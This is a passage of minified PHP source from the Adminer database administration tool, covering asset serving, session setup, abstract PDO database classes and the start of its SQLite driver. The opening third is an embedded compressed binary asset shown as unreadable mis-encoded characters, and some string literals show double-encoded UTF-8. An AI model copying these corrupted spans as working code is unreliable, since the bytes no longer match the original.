Â¹Ã=Ã©mÃ’KÂ¥w'Ã‘ÃœÃ…*â€¡tÅ¾pÂµÃ”Â¦3Â§Ã@ÂºiuÃ©ÂµÃŽÃ™Ã°7P.Â]DÂºytÃ¦,Ã¤Â«Â¤Ã³ÃÂ®Â©Ã›Ã’Â¹o:ÃªÂÃ“+â„¢Ã“â€¡nÂ©ÃIÂ¹Ã­:*ÃªÂÃ”Ã›Å“Ã³Â¨.â€œÃŽÂºÃ‹sÂ¦Ã¦,Ã¡Â¬Â·PÃ®sÃŽ_ÂºÃ‹uÃ«mÃ•Ã«Â£sâ€™.Â²ÃbÂ¹Ã›=6Ã©<Ã£Â¯7Z.oOÂºÃ³uÂ²Ã§mÂ«Â¯7\\.Ã€ÃrÂº=8â€“Ã«ÃÃ—kÅ¾Ã†Ã›Â®â€œâ€ºcÂ»uÃ²Ã¦tÃ¤Â±Â·`.{O&Â»vÃ¬Â­Ã˜jÂ·HÂ®vÃŽÂ£Â»u=cX+Â£Â¶Ã.Ã‘Ãâ€žÂ»KvP\rÃ˜KÂ«FÅ¾i'ÃÂ¥Â»â€™Ã¬Ã¡2zW7inÃ,XOÃ½tÂ¦Ãœ%Ãšz=nÃ”ÃœÃ’Â»svÃšâ€˜Â­Ãš;â‚¬o&Ã¿ÃŽÃ‰Â»â€¦vÂ¾pÃœ+Â±WonÃšÂ¬â€šÅ¾Â±vÃ¢Ã¦mÃšÃ‹â€7hÃ®uÃ*Y=bÃ­DÃŸÃ»Å¾7q(Â­ÃÃ”Â»_9>Ã®Â¥ÃœÂ»Â»WsnÃ«Ã\rÂ»Â¹tBÃ¯=Ã•kÂ¶Ã—EÂ®Ã³ÃÂ«4Â¿HÃ–Ã¬Ã…Ãšâ„¢Ã‚hÃ§3ÃÃ´Â»Ã‰vÂ²{5Ãš;Â¥â€”w.â€”]Ã¼Â»Â³>Â²Ã¯uÃ›)Ã¤Ã·~Â®Ã—Ã8Â»Ã¹wÅ }eÃŸ{Â½Ã·OÃ®Ã®OÂ»GuÃ°mÃŸÃ»Â¨Â·Æ’nÃ¸ÃÃ¿Å¸Âx>Ãž(0> Æ’Ã®PÃ’ÂºÂ¡w:ÃªX,[ÃƒNÂ¨â‚¬3^ÂCvâ€ Ã±*;Ã„wâ€¡)ÃŽÂ¼Qx\"xÂ­Ãš;ÂªWw.Âª^4Â»Ã•w:ÃªÃ…Ã£KÃ€7jnÂ®^4Â»_uâ€šÃ±Â¥Ã â€¹Â¬â€”w.Â³^DÂ»!vÂ²Ã«UÃ¤KÂ¿Ã·[Â¯\"^Å“Â­vÅ½Ã«Â¥Ã¤KÃ^.Ã®]~Â¼Â«wÃ¾Ã¬Ã¥[Ã‰Ã“â€¡.Ã‘ÃË†Â»Â¹v:Ã²Ã½Ã¤{Â½Ã·dÂ¯/ÃÃ¿Â»-y~Ã²uâ€¹Â´wgÂ¯/Ãž\n&OmÃ¨Ã©Ã˜Ã†Ã«#NÃ€]Ã™;xÃ¬5LÃ«Ã‹ÃŽ3ÃœÂ¯=ÃÂ±vvÃ¯Ã˜ÃÃ—Å¸Ã®f]=Yrâ€ Ã³Ã¦Ã»Â·Ã—tM/ÃœÂ¡Â¼Ã­wÃ®Â±Â§â€ºâ€7â€¦nPÃâ€ Â¹CyÃ¸5LÃ ÃŽ78Â¯HÃžÂÂ¹Ã‹zvÃ³}Ã;Â¸â€œÂo9Ãžâ€™Å¸yÃ†Ã®ÃÃªÃÃ·=/UÂ©Å“/zÂ¢Ã´Ã„Ã¤Ã3ÂmÅ’Ã“SÂ¹k^^EoD]Ã«Å“Ã–%Â®Ã‚Ã%ËœÂ½qÃ—Â¤Ã´\0%Â°Ã»Â®Â¹YÃ†Â»â€žÃŒ5ÃŽX\\Ã•Å Â®Â¸(Å¸Æ’\"Å Ã§0pÂ¡3C_ËœBÃÂ¹|&X^ÂqÂ¯kÂ±6Â®Â¹YÂ=Ã­Ãµ#Ã¸+Â°Â±\0â€”bÂªÃ·-gÅ¡Ã¨0tÅ *2Å¸Â®Â¸Ã‡bÂ­MEÃ¶{Ãš Ã¯2Ã¶Â½ÃŸRâ€˜â€“Â¸â‚¬ Ã°Ë†Ã«Â®Yâ€°Æ’Ã•{Ãµâ€ â€¦Ã¬â€“BÂ¡kÂ®W|Â®Ã¶Ã„Å 5Ã°ZÃ¯Ã’Ã²kâ„¢ÃÅ“Â¯rÂ¼Â¼ÂµÃ²Ã•Ã©Ã•GÂ©Â­W\$LÂ´8jÃ¬Ã°Ã²*Ã‚\"_sNË†Â¼ZiÅ’LvÃªÅ¾XÂª|Å Â©K	V'O/_UÃ¤Â¬NÃˆÃ™})3Ãšâ€¢ÃH/`AÅ¡Â®|Ã‘Â§Ã‰6fÃƒÃ—Ã‹/b^Ã†Â«M{\"ÂªÃ´\"Â«Ã™pâ€”â€°^ÃŽÂ«M{@â€ºÃµWÃ¦*ÃªÅ¾^Ã”Â½Â·Ã™Å’3#+Ã©Â·Â¶Â¡Â¯^Ãœâ€¦Ã®Ãˆâ€¦}SÃ‹ÃœÃ¯*Ã“4gÂ½Ã‰|ÂºÂ¹Ã“,;ÃÃ˜/sW1d\npÃ¦Â¬-Y{Ã¥uiÂ« Uâ€“â€žÃ†Â¿JÃ»]Ã¶\nâ€˜U#Â«Eâ€œCÂ«aTJTÂ¿Ã†Yl\rÂ¯}ÃŸÂ¾ÃVÃ–Â®COxbvâ‚¬!C\0PÂ¾Ã£\nÂµâ€˜8JÃ–â€¢u&Ã‚ÂÂ¾~Ukâ€ ÃµO/Â£_`Â«Ã‹ÃŽÃ»E]Â«Eâ€¢w/Â©Xz']O9T\nÃ½6Â£ +UÃ•ÃŠÂ­[XbÃµÃkÂªÃƒ>oâ€œÃ–ÂÂ¾[:Â±â€œeâ€¹0Â´YÂ¼BJÂ¬Ã‰~Ã?!3â€ºÃ§uâ€”\"^Ã…bÃ¥Y*Â²ÃµÃ»zÂ¿â€”Â²Ã¡uÃŸEÂ­xÃ†ÃºEÃ­(]Â·Ã’Ã˜Ã¿Ã–;Â¾Â}VÃºâ€¦x*ÃŒÂ·Ã•!3Ãƒ`_!{zÂ²Ã¥ÃµÂ»ÃµLÂ¡Ã¯Â¯XÂ¥Â­}â€“Ã†Ã½Ã½Ã»ÃUÂªkÃžÃ­Â­)Ã»ÂuÅ¡Ã¡â€¢Â¤Â¯{_Ã¬Â©U{Ã¦ÂµÃ¯ÃŠÃ’Ã·Ã Å¡_Ã¤Â§ZÃŽÃ‹Å’2ÂÃ·Ã¾ËœÂ½C#Â­k]ÃºZÂ­ÃšÃ–Â°Ã‹/ÃŒ\0DÂ°Â©ÂµÃ´3KÃ³Â°Ã¶Ã‰Â¯Â²Ã¼dÂ³ÃšÅ¸ÃŒ8Â»\$0Roâ€”Ã˜ Â±Â²Ã™rÃ»ÃœÂºâ€šÃÃ*â€œkÂ²Ã‹RÂ®Â¦Â½â€”VÃŒÂ¨	Â¸VÅ¡lnÃ“â€°â€¢EÅ¾â€¦Ã¦ÃÃ™ÃªTÃ‹Ã½bRÃŠ}Ã·jâ€“Ã°Ãœâ„¢mÃ”Ëœâ‚¬Ã•^\nÂ»-Âªâ€”uÂ´P1Ã¯`RÅ¾Â±}MJeâ€“Âªjâ€¦#Ã¥K4ÂÂ,ÃÃÃ‡t\rÃ–Å“:Â¦ â€°k .lOÂ°lÃ®(Ã¢â€”8Â£qÃ€â€™Ã­%rYÂ¦Ã Â³FÃ®Â¶Â¸OÂ¼ÃŸtNÂ£Âµ2WÂ¸WT\"ujÂâ‚¬ÂªÃ}TÃ­@ÃÃ“Ã—7kâ€™S VwÃ©Ãšâ‚¬Ã¥Â§Â®\\â‚¬ÃšGËœÃ„<Ã¯Â²I\râ€™Ã½p:/Â²Ã¢'Ãš0Ã¶Â¦s{MÂ©%\"G%:â€°Ãšâ€uÃ â€°ZÃµjÃµÂ³YgÂ´ÃµÃŽJÃ>Ã â€œ,Ã¶Ã²Wâ€ºâ€¡T|Ã©&â€º5Â·Ã ÃÂÅ“bXÂ©â€˜Â¹3Å¸â€žÅ’XÃ«Ã¦ÂJvÂ¨sÃ‘TSÃ—Â½I6Å M FI&ÃhÃ°YÃ Å qÃ¨â€™Â¨PY&Ã†Â¼xÂ!I6\n4!â€ Ã°Âº)&Ã”07Ã•Q10Ã˜ nÃ­Ã‘Å 7Ã•XÂ3HÃ¡ru\00053Â¤Ë†CÃšÅ Â°ÃŸ`Ã¸Â¬@<S_p<â€¢jÃ¦Â¬Ã¨\\Ã‚Â@â€¡ÂTÃÃ„Â¨ÃÃŒÃ¶tÂ·*Â¼Ã€Å’Ã“Ã¼GÃ±+Â»P@M{Ã›8CÃštÃ¸Ã Â¿Â¢Ã—GMV&Â¼Â§Ã€Ã²ÃšÂ­Ãºâ€™zÃ0Â±@Ã€Å¡;â€°:Ã…Â?Ã–4ÃŒQÃ¿ÃŠÃ¯a{â€ž\rÃ‹ÃHÂ©7Ã‹â€œHâ‚¬Ã€Ã˜Â£`|ÃƒuL\"Ã€â€Â°sÂ¦â„¢\"\0fâ€™Ã”Ã„PTlFÃ£G.ÂµÃ¨\n3Â²u.X+â€œÅ½TvNDÃ¾Ã¹\rÂ°\\ÃŒâ€¡*tb}Â¥Ãâ‚¬â€¡3 l[â€œÂ¹â„¢Ã€Â®\0câ„¢â€¢!aÅ½Ã¦gâ€šuÅ½e)mF,Â®Ã–Y=DuÅ½-Â½Ã“Â¬qâ€”Ã³Mâ€œÂ¬â€˜Ã yÃâ€¦ÃšÃ†7\0â€”0<ÂºÃšwâ€¦nEF'KÃ®Ã¢â€¡>ab]â€œâ€žÃƒ\nÃˆ&Ã¤Â®ËœYÂ¢|â€°ZvÂ°pË†â€œÂµÆ’Z ÂcÂuTÃ©Ã…Ãœ[Ã¼.MxÃ€7Â½Â»Ã‚Ã³OÃ¼+Nâ€”k	KiÃ˜:Ã¦Ã 05Â¨Â³bÅ“\rÂºÃ¹w'â€ 2<Â©A3\\Ã¡ÂÃƒ%60Â²Ã˜VÃ¤u7Ã°ÃÂ¦jkÃ»Æ’â€žÃ¥Ã€|w1Ã¯r'Â½Ã²umÂÂ¥%@I:dÂ°Ã…l\\RÃ¾Â£	Â¬5Ã«Å¸@Ã–Â¦Ã¶pÃ«â€ Ã‰iÃ°ÃƒÃ)Â°5Ã±ÃƒWÂ©;HÃÂ¥Ã `Â®Ãƒâ€ž0Â¾Â¤Â¿Å½pÃ‡Ââ€¦â€ZÃžd3Â·Ã€ËœsÅ“Ã¯*mVÃ¦_Â¨Å’:Ã¸sÂ°Å“ÂRÂ¿Ã™i)oDpâ€¡Ã¡Ã¢olÃ»â„¢qf Å¸HÂ°aÃªÅ’Qbtâ‚¬xÃ€ÃŽ â€™5\0rGÃˆÃ¡Ã/ÃŒ_Â¨Ã‚Ã±Æ’Ã–`Ã¡Ã»â€¡Â¨4XÂ­Ã¬-Ã…Â¤Â¿9â€”â€°ÂË†Ãº<@s;Ã‚ÂÃ›{Ë† \"ÃªjjÅ’Ã‚Â£0â„¢aÃŽÃ‚h6LFyÃŒ%â€˜Ã³Å’\nÃŠÃ¾Â·ÃŽÃ¥Â­Â¾pÅ¸Â£Ã©Ã8Ã›Å’^kÂ¼:cÂ°Â¢V\$Â¦2V'Ã•\rÃŸA?8Â¨Ã„XÃšÃŸÅ’=Â§Ã•Å¡CGÂ¶Ã¹â‚¬Ã­ÃŽÂ¶#Ã¥Â±c_ Ã¢='Ë†Ã½Ã–Ã‹Ã°Ã—Ã¥@VcÃ‡bBÂ¶,Ã½Â¤(Ã–\$Å“IÃÅ½Ã±(Jâ€¹WFÃ¬â€ºÂ¾%\\+â€šÂ·â€žÃ°`:Ã„nÃÃ‡Ã¾#Å“GÃ‘â€¡Â±1Â¸â€”\"gâ€°â€mÃ¬baÂ²x{q5â‚¬mmÃ²Â¬ÃÃ³Ã´SËœÃ¹Ã˜â€°Ã±8Ã„uâ€°Ã€Bh&POxVÃ¢Ã¢pÃÂ®ÃÂ¬&&&Ã°Ã‡`VÃ°<Â®ÂQÅ â‚¬*â„¢;Â¸ â€”â€žÂE]ÃÅ N'Ã˜ Â¯6Â¢Â¼TÃHÅ Xv	ÃˆÂª-Ã­Ã„aEBvÂÃ¤ÃQ{Âªâ„¢Â¡ËœÂ©Â³Ãˆ>CiÃšÂ7Å“TopÃ°fÃ¢Â«Ã…#LVÂ¼0Ã”Ã‘HÃ¢Å¾uÃ Â±>) EÂ¨Â¨Ã¸ÂªÂ±]Â¡4Ë†Ã›4Âªâ€ºÃ±uB:[Ã…pâ€ºR*T:0)xÂªÃ±MÃ Ã²Ã…=â€¦Ã¹Ã®Ã® â€¹JÃªÂÃ¨bÃˆ#*Â¨Ã¬Âª 8Â©(@=;V1cSkÃ‰P\n`a]g`PÃ‚Ã›ShÃ Ã†.â€žUÂ¸qÂ°Å½Ã  â€šâ€¹X\\:â„¢`Â¤Â­\0vâ€œÂ¤Æ’|Ã¾Ã¬Mâ€”Ã†`Ã–Â±E+â€¦Ã…Ã¸Ã˜>Â¼_Ã¢JÅ vÂ¸Ã…Â¤\nÂ¦VÃ˜0l`mÂ¥Â¡Ã­Â©NÂ£Å’*Ã–HÃ½Ã±FÃ¸HÂTÂ£ÃƒÃ\0Â£Â¨?,b%Ã’Â±Ë†â€™-Å’6\n-ld+ÃŠÂ¬Å¡Â·Ã†T/:ÂºÂ¤^RÃ€fÃ¢K:LXBmÂ­â€°ÂºrÃ‚IvKV,Ã¢RÂ²Â¼eÃ pqËœÃšÃ¹DÃªâ€°^&\0Ea&Â®.Ã¹\0Æ’ÂB]#bÂâ€¦â‚¬Ã¢Ã•Ãªâ€°Ã’\$Ã @Ãœ6Â¢Å½EÂ­Â¨Ë†fâ‚¬â€žoâ‚¬9Ã¤LÃ¬Ã©,	ÃƒÃ¨Ã—ÃM\0SJÃ¨Ã»Â­gxÃ’â€°â€¹cYY_Â{P) \nÂ¯y\"Ã˜Y-Ãr]Ã#8Ã›â€“Ã¡cdâ€¢4Â^3Â°6!\\Ã”(Ã‹â€˜â€ºâ€šwÂ¤Ã—Â\\Â«Ã›â‚¬ÂÃ¦ÂÂ°\rjfÂ©Ã†â€”k`Ã”\0Ã3lÃ¤â„¢â€¦Â¾Â«Â¹kI/Ãâ€¡Â§â€ºnÃN@:â€â€°'Ã³pÃŸÃ¨\0");}elseif($_GET["file"]=="logo.png"){header("Content-Type: image/png");echo"â€°PNG\r\n\n\0\0\0\rIHDR\0\0\09\0\0\09\0\0\0~6Å¾Â¶\0\0\0000PLTE\0\0\0Æ’â€”Â­+NvYtâ€œsâ€°Â£Å¾Â®Â¾Â´Â¾ÃŒÃˆÃ’ÃšÃ¼Ââ€˜Ã¼suÃ¼IJÃ·Ã“Ã”Ã¼/.Ã¼Ã¼Â¯Â±ÃºÃ¼ÃºCÂ¥Ã—\0\0\0tRNS\0@Ã¦Ã˜f\0\0\0	pHYs\0\0\0\0\0Å¡Å“\0\0Â´IDAT8ÂÃ•â€ÃNÃ‚@Ã‡Ã»EÃ¡Ã¬lÃÂ¶ÃµÂ¤p6Ë†G.\$=Â£Â¥Ã‡>ÂÃ¡	w5r}â€šz7Â²>â‚¬â€˜PÃ¥#\$Å’Â³KÂ¡jÂ«7ÂÃ¼ÃÂ¶Â¿ÃŒÃŽÃŒ?4mâ€¢â€žË†Ã‘Ã·t&Ã®~Ã€3!0â€œ0Å Å¡^â€žÂ½Af0Ãž\"Ã¥Â½Ã­,ÃŠÃ°* Ã§4Â¼Å’Ã¢oÂ¥EÃ¨Â³Ã¨Ã—X(*YÃ“Ã³Â¼Â¸	6	Ã¯PcOWÂ¢Ã‰ÃŽÃœÅ mâ€™Â¬rÆ’0Ãƒ~/ Ã¡LÂ¨\rXj#Ã–mÃŠÃÃºjÃ€Câ‚¬]GÂ¦mÃ¦\0Â¶}ÃžÃ‹Â¬ÃŸâ€˜uÂ¼A9Ã€XÂ£\nÃ”Ã˜8Â¼VÂ±YÃ„+Ã‡D#Â¨iqÃžnKQ8JÃ 1Q6Â²Ã¦Y0Â§`â€¢Å¸PÂ³bQÂ\\hâ€~>Ã³:pSÃ‰â‚¬Â£Â¦Â¼Â¢Ã˜Ã³GEÃµQ=Ã®IÃ{â€™*Å¸3Ã«2Â£7Ã·\neÃŠLÃ¨BÅ ~Ã/R(\$Â°)ÃŠÃ§â€¹ â€”ÃHQnâ‚¬iâ€¢6JÂ¶	<ÂÃ—-.â€“wÃ‡Ã‰ÂªjÃªVmÂ«ÃªÃ¼mÂ¿?SÃžH â€ºvÃƒÃŒÃ»Ã±Ã†Â©Â§Ã\0Ã Ã–^Ã•qÂ«Â¶)Âªâ€”Ã›]Ã·â€¹UÂ¹92Ã‘,;Ã¿Ã‡ÂÃ®'pÃ¸ÂµÂ£!XÃ‹Æ’Ã¤ÃšÃœÃ¿LÃ±D.Â»tÃƒÂ¦â€”Ã½/wÃƒÃ“Ã¤Ã¬RÃ·Â	wÂ­dÃ“Ã–r2Ã¯Ã†Â¤Âª4[=Â½E5Ã·S+Ã±â€”c\0\0\0\0IENDÂ®B`â€š";}exit;}if($_GET["script"]=="version"){$o=get_temp_dir()."/adminer.version";@unlink($o);$q=file_open_lock($o);if($q)file_write_unlock($q,serialize(array("signature"=>$_POST["signature"],"version"=>$_POST["version"])));exit;}if(!$_SERVER["REQUEST_URI"])$_SERVER["REQUEST_URI"]=$_SERVER["ORIG_PATH_INFO"];if(!strpos($_SERVER["REQUEST_URI"],'?')&&$_SERVER["QUERY_STRING"]!="")$_SERVER["REQUEST_URI"].="?$_SERVER[QUERY_STRING]";if($_SERVER["HTTP_X_FORWARDED_PREFIX"])$_SERVER["REQUEST_URI"]=$_SERVER["HTTP_X_FORWARDED_PREFIX"].$_SERVER["REQUEST_URI"];define('Adminer\HTTPS',($_SERVER["HTTPS"]&&strcasecmp($_SERVER["HTTPS"],"off"))||ini_bool("session.cookie_secure"));@ini_set("session.use_trans_sid",'0');if(!defined("SID")){session_cache_limiter("");session_name("adminer_sid");session_set_cookie_params(0,preg_replace('~\?.*~','',$_SERVER["REQUEST_URI"]),"",HTTPS,true);session_start();}remove_slashes(array(&$_GET,&$_POST,&$_COOKIE),$ad);if(function_exists("get_magic_quotes_runtime")&&get_magic_quotes_runtime())set_magic_quotes_runtime(false);@set_time_limit(0);@ini_set("precision",'15');function
lang($u,$Ff=null){$ua=func_get_args();$ua[0]=$u;return
call_user_func_array('Adminer\lang_format',$ua);}function
lang_format($Yi,$Ff=null){if(is_array($Yi)){$Jg=($Ff==1?0:1);$Yi=$Yi[$Jg];}$Yi=str_replace("'",'Ã¢â‚¬â„¢',$Yi);$ua=func_get_args();array_shift($ua);$md=str_replace("%d","%s",$Yi);if($md!=$Yi)$ua[0]=format_number($Ff);return
vsprintf($md,$ua);}define('Adminer\LANG','en');abstract
class
SqlDb{static$instance;var$extension;var$flavor='';var$server_info;var$affected_rows=0;var$info='';var$errno=0;var$error='';protected$multi;abstract
function
attach($N,$V,$F);abstract
function
quote($Q);abstract
function
select_db($Nb);abstract
function
query($H,$jj=false);function
multi_query($H){return$this->multi=$this->query($H);}function
store_result(){return$this->multi;}function
next_result(){return
false;}}if(extension_loaded('pdo')){abstract
class
PdoDb
extends
SqlDb{protected$pdo;function
dsn($nc,$V,$F,array$Xf=array()){$Xf[\PDO::ATTR_ERRMODE]=\PDO::ERRMODE_SILENT;$Xf[\PDO::ATTR_STATEMENT_CLASS]=array('Adminer\PdoResult');try{$this->pdo=new
\PDO($nc,$V,$F,$Xf);}catch(\Exception$Ic){return$Ic->getMessage();}$this->server_info=@$this->pdo->getAttribute(\PDO::ATTR_SERVER_VERSION);return'';}function
quote($Q){return$this->pdo->quote($Q);}function
query($H,$jj=false){$I=$this->pdo->query($H);$this->error="";if(!$I){list(,$this->errno,$this->error)=$this->pdo->errorInfo();if(!$this->error)$this->error='Unknown error.';return
false;}$this->store_result($I);return$I;}function
store_result($I=null){if(!$I){$I=$this->multi;if(!$I)return
false;}if($I->columnCount()){$I->num_rows=$I->rowCount();return$I;}$this->affected_rows=$I->rowCount();return
true;}function
next_result(){$I=$this->multi;if(!is_object($I))return
false;$I->_offset=0;return@$I->nextRowset();}}class
PdoResult
extends
\PDOStatement{var$_offset=0,$num_rows;function
fetch_assoc(){return$this->fetch_array(\PDO::FETCH_ASSOC);}function
fetch_row(){return$this->fetch_array(\PDO::FETCH_NUM);}private
function
fetch_array($qf){$J=$this->fetch($qf);return($J?array_map(array($this,'unresource'),$J):$J);}private
function
unresource($X){return(is_resource($X)?stream_get_contents($X):$X);}function
fetch_field(){$K=(object)$this->getColumnMeta($this->_offset++);$U=$K->pdo_type;$K->type=($U==\PDO::PARAM_INT?0:15);$K->charsetnr=($U==\PDO::PARAM_LOB||(isset($K->flags)&&in_array("blob",(array)$K->flags))?63:0);return$K;}function
seek($C){for($s=0;$s<$C;$s++)$this->fetch();}}}function
add_driver($t,$B){SqlDriver::$drivers[$t]=$B;}function
get_driver($t){return
SqlDriver::$drivers[$t];}abstract
class
SqlDriver{static$instance;static$drivers=array();static$extensions=array();static$jush;protected$conn;protected$types=array();var$insertFunctions=array();var$editFunctions=array();var$unsigned=array();var$operators=array();var$functions=array();var$grouping=array();var$onActions="RESTRICT|NO ACTION|CASCADE|SET NULL|SET DEFAULT";var$partitionBy=array();var$inout="IN|OUT|INOUT";var$enumLength="'(?:''|[^'\\\\]|\\\\.)*'";var$generated=array();static
function
connect($N,$V,$F){$f=new
Db;return($f->attach($N,$V,$F)?:$f);}function
__construct(Db$f){$this->conn=$f;}function
types(){return
call_user_func_array('array_merge',array_values($this->types));}function
structuredTypes(){return
array_map('array_keys',$this->types);}function
enumLength(array$m){}function
unconvertFunction(array$m){}function
select($R,array$M,array$Z,array$wd,array$Zf=array(),$z=1,$D=0,$Sg=false){$te=(count($wd)<count($M));$H=adminer()->selectQueryBuild($M,$Z,$wd,$Zf,$z,$D);if(!$H)$H="SELECT".limit(($_GET["page"]!="last"&&$z&&$wd&&$te&&JUSH=="sql"?"SQL_CALC_FOUND_ROWS ":"").implode(", ",$M)."\nFROM ".table($R),($Z?"\nWHERE ".implode(" AND ",$Z):"").($wd&&$te?"\nGROUP BY ".implode(", ",$wd):"").($Zf?"\nORDER BY ".implode(", ",$Zf):""),$z,($D?$z*$D:0),"\n");$ji=microtime(true);$J=$this->conn->query($H);if($Sg)echo
adminer()->selectQuery($H,$ji,!$J);return$J;}function
delete($R,$bh,$z=0){$H="FROM ".table($R);return
queries("DELETE".($z?limit1($R,$H,$bh):" $H$bh"));}function
update($R,array$O,$bh,$z=0,$Mh="\n"){$Bj=array();foreach($O
as$x=>$X)$Bj[]="$x = $X";$H=table($R)." SET$Mh".implode(",$Mh",$Bj);return
queries("UPDATE".($z?limit1($R,$H,$bh,$Mh):" $H$bh"));}function
insert($R,array$O){return
queries("INSERT INTO ".table($R).($O?" (".implode(", ",array_keys($O)).")\nVALUES (".implode(", ",$O).")":" DEFAULT VALUES").$this->insertReturning($R));}function
insertReturning($R){return"";}function
insertUpdate($R,array$L,array$G){return
false;}function
begin(){return
queries("BEGIN");}function
commit(){return
queries("COMMIT");}function
rollback(){return
queries("ROLLBACK");}function
slowQuery($H,$Li){}function
convertSearch($u,array$X,array$m){return$u;}function
convertOperator($Tf){return$Tf;}function
value($X,array$m){return(method_exists($this->conn,'value')?$this->conn->value($X,$m):$X);}function
quoteBinary($_h){return
q($_h);}function
warnings(){}function
tableHelp($B,$xe=false){}function
inheritsFrom($R){return
array();}function
inheritedTables($R){return
array();}function
partitionsInfo($R){return
array();}function
hasCStyleEscapes(){return
false;}function
engines(){return
array();}function
supportsIndex(array$S){return!is_view($S);}function
indexAlgorithms(array$ti){return
array();}function
checkConstraints($R){return
get_key_vals("SELECT c.CONSTRAINT_NAME, CHECK_CLAUSE
FROM INFORMATION_SCHEMA.CHECK_CONSTRAINTS c
JOIN INFORMATION_SCHEMA.TABLE_CONSTRAINTS t ON c.CONSTRAINT_SCHEMA = t.CONSTRAINT_SCHEMA AND c.CONSTRAINT_NAME = t.CONSTRAINT_NAME
WHERE c.CONSTRAINT_SCHEMA = ".q($_GET["ns"]!=""?$_GET["ns"]:DB)."
AND t.TABLE_NAME = ".q($R)."
AND CHECK_CLAUSE NOT LIKE '% IS NOT NULL'",$this->conn);}function
allFields(){$J=array();if(DB!=""){foreach(get_rows("SELECT TABLE_NAME AS tab, COLUMN_NAME AS field, IS_NULLABLE AS nullable, DATA_TYPE AS type, CHARACTER_MAXIMUM_LENGTH AS length".(JUSH=='sql'?", COLUMN_KEY = 'PRI' AS `primary`":"")."
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = ".q($_GET["ns"]!=""?$_GET["ns"]:DB)."
ORDER BY TABLE_NAME, ORDINAL_POSITION",$this->conn)as$K){$K["null"]=($K["nullable"]=="YES");$J[$K["tab"]][]=$K;}}return$J;}}add_driver("sqlite","SQLite");if(isset($_GET["sqlite"])){define('Adminer\DRIVER',"sqlite");if(class_exists("SQLite3")&&$_GET["ext"]!="pdo"){abstract
class
SqliteDb
extends
SqlDb{var$extension="SQLite3";private$link;function
attach($o,$V,$F){$this->link=new
\SQLite3($o);$Ej=$this->link->version();$this->server_info=$Ej["versionString"];return'';}function
query($H,$jj=false){$I=@$this->link->query($H);$this->error="";if(!$I){$this->errno=$this->link->lastErrorCode();$this->error=$this->link->lastErrorMsg();return
false;}elseif($I->numColumns())return
new
Result($I);$this->affected_rows=$this->link->changes();return
true;}function
quote($Q){return(is_utf8($Q)?"'".$this->link->escapeString($Q)."'":"x'".first(unpack('H*',$Q))."'");}}class
Result{var$num_rows;private$result,$offset=0;function
__construct($I){$this->result=$I;}function
fetch_assoc(){return$this->result->fetchArray(SQLITE3_ASSOC);}function
fetch_row(){return$this->result->fetchArray(SQLITE3_NUM);}function
fetch_field(){$d=$this->offset++;$U=$this->result->columnType($d);return(object)array("name"=>$this->result->columnName($d),"type"=>($U==SQLITE3_TEXT?15:0),"charsetnr"=>($U==SQLITE3_BLOB?63:0),);}function
__destruct(){$this->result->finalize();}}}elseif(extension_loaded("pdo_sqlite")){abstract
class
SqliteDb
extends
PdoDb{var$extension="PDO_SQLite";function
attach($o,$V,$F){$this->dsn(DRIVER.":$o","","");$this->query("PRAGMA foreign_keys = 1");$this->query("PRAGMA busy_timeout = 500");return'';}}}if(class_exists('Adminer\SqliteDb')){class
Db
extends
SqliteDb{function
attach($o,$V,$F){parent::attach($o,$V,$F);$this->query("PRAGMA foreign_keys = 1");$this->query("PRAGMA busy_timeout = 500");return'';}function
select_db($o){if(is_readable($o)&&$this->query("ATTACH ".$this->quote(preg_match("~(^[/\\\\]|:)~",$o)?$o:dirname($_SERVER["SCRIPT_FILENAME"])."/$o")." AS a"))return!self::attach($o,'','');return
false;}}}class
Driver
extends
SqlDriver{static$extensions=array("SQLite3","PDO_SQLite");static$jush="sqlite";protected$types=array(array("integer"=>0,"real"=>0,"numeric"=>0,"text"=>0,"blob"=>0));var$insertFunctions=array();var$editFunctions=array("integer|real|numeric"=>"+/-","text"=>"||",);var$operators=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL","SQL");var$functions=array("hex","length","lower","round","unixepoch","upper");var$grouping=array("avg","count","count distinct","group_concat","max","min","sum");static
function
connect($N,$V,$F){if($F!="")return'Database does not support password.';return
parent::connect(":memory:","","");}function
__construct(Db$f){parent::__construct($f);if(min_version(3.31,0,$f))$this->generated=array("STORED","VIRTUAL");}function
structuredTypes(){return
array_keys($this->types[0]);}function
insertUpdate($R,array$L,array$G){$Bj=array();foreach($L
as$O)$Bj[]="(".implode(", ",$O).")";return
queries("REPLACE INTO ".table($R)." (".implode(", ",array_keys(reset($L))).") VALUES\n".implode(",\n",$Bj));}function
tableHelp($B,$xe=false){if($B=="sqlite_sequence")return"fileformat2.html#seqtab";if($B=="sqlite_master")return"fileformat2.html#$B";}function
checkConstraints($R){preg_match_all('~ CHECK *(\( *(((?>[^()]*[^() ])|(?1))*) *\))~',get_val("SELECT sql FROM sqlite_master WHERE type = 'table' AND name = ".q($R),0,$this->conn),$Ye);return
array_combine($Ye[2],$Ye[2]);}function
allFields(){$J=array();foreach(tables_list()as$R=>$U){foreach(fields($R)as$m)$J[$R][]=$m;}return$J;}}function
idf_escape($u){return'"'.str_replace('"','""',$u).'"';}function
table($u){return
idf_escape($u);}function
get_databases($hd){return
array();}function
limit($H,$Z,$z,$C=0,$Mh=" "){return" $H$Z".($z?$Mh."LIMIT $z".($C?" OFFSET $C":""):"");}function
limit1($R,$H,$Z,$Mh="\n"){return(preg_match('~^INTO~',$H)||get_val("SELECT sqlite_compileoption_used('ENABLE_UPDATE_DELETE_LIMIT')")?limit($H,$Z,1,0,$Mh):" $H WHERE rowid = (SELECT rowid FROM ".table($R).$Z.$Mh."LIMIT 1)");}function
db_collation($j,$jb){return
get_val("PRAGMA encoding");}function
logged_user(){return
get_current_user();}function
tables_list(){return
get_key_vals("SELECT name, type FROM sqlite_master WHERE type IN ('table', 'view') ORDER BY (name = 'sqlite_sequence'), name");}function
count_tables($i){return
array();}function
table_status($B=""){$J=array();foreach(get_rows("SELECT name AS Name, type AS Engine, 'rowid' AS Oid, '' AS Auto_increment FROM sqlite_master WHERE type IN ('table', 'view') ".($B!=""?"AND name = ".q($B):"ORDER BY name"))as$K){$K["Rows"]=get_val("SELECT COUNT(*) FROM ".idf_escape($K["Name"]));$J[$K["Name"]]=$K;}foreach(get_rows("SELECT * FROM sqlite_sequence".($B!=""?" WHERE name = ".q($B):""),null,"")as$K)$J[$K["name"]]["Auto_increment"]=$K["seq"];return$J;}function
